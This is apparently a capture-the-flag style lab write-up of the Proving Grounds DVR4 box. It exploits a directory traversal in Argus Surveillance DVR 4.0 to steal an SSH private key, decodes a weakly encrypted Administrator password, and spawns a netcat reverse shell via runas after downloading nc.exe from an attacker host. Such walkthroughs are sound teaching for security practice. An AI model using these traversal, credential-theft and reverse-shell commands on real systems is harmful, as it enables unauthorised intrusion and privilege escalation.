# DVR4 Writeup - Proving Grounds

> Intermediate Windows box where an unauthenticated directory traversal in Argus Surveillance DVR leaks an SSH private key for initial access, then the same traversal exposes a custom-encoded Administrator password that is decoded and reused via runas for an Administrator shell.

- **URL:** https://hackindex.io/writeups/dvr4
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Windows
- **Tags:** directory-traversal, information-disclosure, argus-surveillance-dvr, credential-reuse, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

DVR4 runs Argus Surveillance DVR 4.0, which has an unauthenticated directory traversal in its web controller. Guessing the SSH key path for a known user leaks it through that traversal for an initial shell, and the same bug then exposes the Administrator's password, encoded with the application's own weak cipher. Decoding it and reusing it with `runas` gives an Administrator shell.

## Reconnaissance

### Nmap

Scan the target.

```bash
sudo nmap -sV -sC $TARGET_IP
# PORT     STATE SERVICE    VERSION
# 22/tcp   open  ssh        Bitvise WinSSHD 8.48
# 8080/tcp open  http-proxy
# |_http-title: Argus Surveillance DVR
```

SSH and a web controller for **Argus Surveillance DVR**. The About page confirms version 4.0. Search Exploit-DB for known issues.

```bash
searchsploit Argus Surveillance DVR 4.0
# Argus Surveillance DVR 4.0 - Unquoted Service Path        | windows/local/50261.txt
# Argus Surveillance DVR 4.0 - Weak Password Encryption     | windows/local/50130.py
# Argus Surveillance DVR 4.0.0.0 - Directory Traversal      | windows_x86/webapps/45296.txt
# Argus Surveillance DVR 4.0.0.0 - Privilege Escalation     | windows_x86/local/45312.c
```

The directory traversal is the best path to a shell. It reads arbitrary files via a `..%2F` sequence in the `WEBACCOUNT.CGI` `RESULTPAGE` parameter. Confirm it against `system.ini`.

## Exploitation

### Directory traversal (EDB-45296)

Read a known system file first.

```bash
curl "http://$TARGET_IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini"
# ; for 16-bit app support
# [386Enh]
# woafont=dosapp.fon
# [drivers]
# wave=mmdrv.dll
# timer=timer.drv
```

The traversal works. The DVR's web interface lists its own user accounts, so check the Users page for a local Windows account to target.

```bash
curl "http://$TARGET_IP:8080/Users.html"
# Administrator
# Viewer
```

**Administrator** and **Viewer** are listed. If `Viewer` is also a Windows account, its SSH key may sit in the default location. Pull it through the same traversal.

```bash
curl "http://$TARGET_IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2F%2Essh%2Fid_rsa" > id_rsa
```

```bash
head id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# <snip>
# -----END OPENSSH PRIVATE KEY-----
```

Fix the key's permissions and log in over SSH.

```bash
chmod 600 id_rsa
ssh -i id_rsa viewer@$TARGET_IP
# C:\Users\viewer>whoami
# dvr4\viewer
```

Shell as `viewer`. Dig into the Argus configuration for anything useful toward Administrator.

## Privilege Escalation

### Decoding the Administrator password

The DVR configuration file holds every account's settings, including an encoded password.

```powershell
type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"
# [Users]
# LocalUsersCount=2
# UserID0=434499
# LoginName0=Administrator
# Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
```

This is not a standard hash format. The **Weak Password Encryption** exploit (EDB-50130) documents the DVR's custom substitution cipher: it maps fixed 4-character chunks to single plaintext characters. Swap in the Administrator hash and run it.

```bash
searchsploit -m 50130
python3 50130.py
# [+] ECB4:1
# [+] 53D1:4
# [+] 6069:W
# [+] F641:a
# [+] E03B:t
# [+] D9BD:c
# [+] 956B:h
# [+] FE36:D
# [+] BD8F:0
# [+] 3CD9:g
# [-] D9A8:Unknown
```

Every chunk decodes except the last, which must be a special character outside the script's table. The web UI exposes the same encoding: creating a test account with a known password and reading its encoded value back from the config reveals what each symbol maps to. Add a new user with the password `!@#$%^&*()` through the **New User** button on the Users page, then read the config again.

```powershell
type "C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini"
# LoginName2=kali
# Password2=B39878A7
```

Only two characters encoded this time, so testing single-character passwords one at a time narrows it down: `!` is `B398`, `@` is `78A7`, and `$` is `D9A8`, matching the unknown chunk. The full Administrator password decodes to `$ADMINISTRATOR_PASSWORD`. Direct SSH login as Administrator is blocked.

```bash
ssh administrator@$TARGET_IP
# administrator@$TARGET_IP's password:
# Permission denied, please try again.
```

`runas` can still use the password to spawn a process as Administrator. Upload a netcat binary first.

```bash
cp /usr/share/windows-binaries/nc.exe .
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
```

```powershell
mkdir C:\temp
powershell.exe -c "iwr http://$ATTACKER_IP/nc.exe -OutFile C:\temp\nc.exe"
```

Start a listener, then use `runas` with the decoded Administrator password to spawn a reverse shell.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
```

```powershell
runas /env /profile /user:DVR4\Administrator "C:\temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
# Enter the password for DVR4\Administrator:
# Attempting to start C:\temp\nc.exe ...
```

The listener catches the callback.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 56706
# C:\Users\viewer>whoami
# dvr4\administrator
```

Administrator access on the target.

Related

## References

- [Exploit-DB 45296](https://www.exploit-db.com/exploits/45296) - Argus Surveillance DVR 4.0.0.0 unauthenticated directory traversal used to read arbitrary files.
- [Exploit-DB 50130](https://www.exploit-db.com/exploits/50130) - Argus Surveillance DVR 4.0 weak password encryption, used to decode the Administrator password.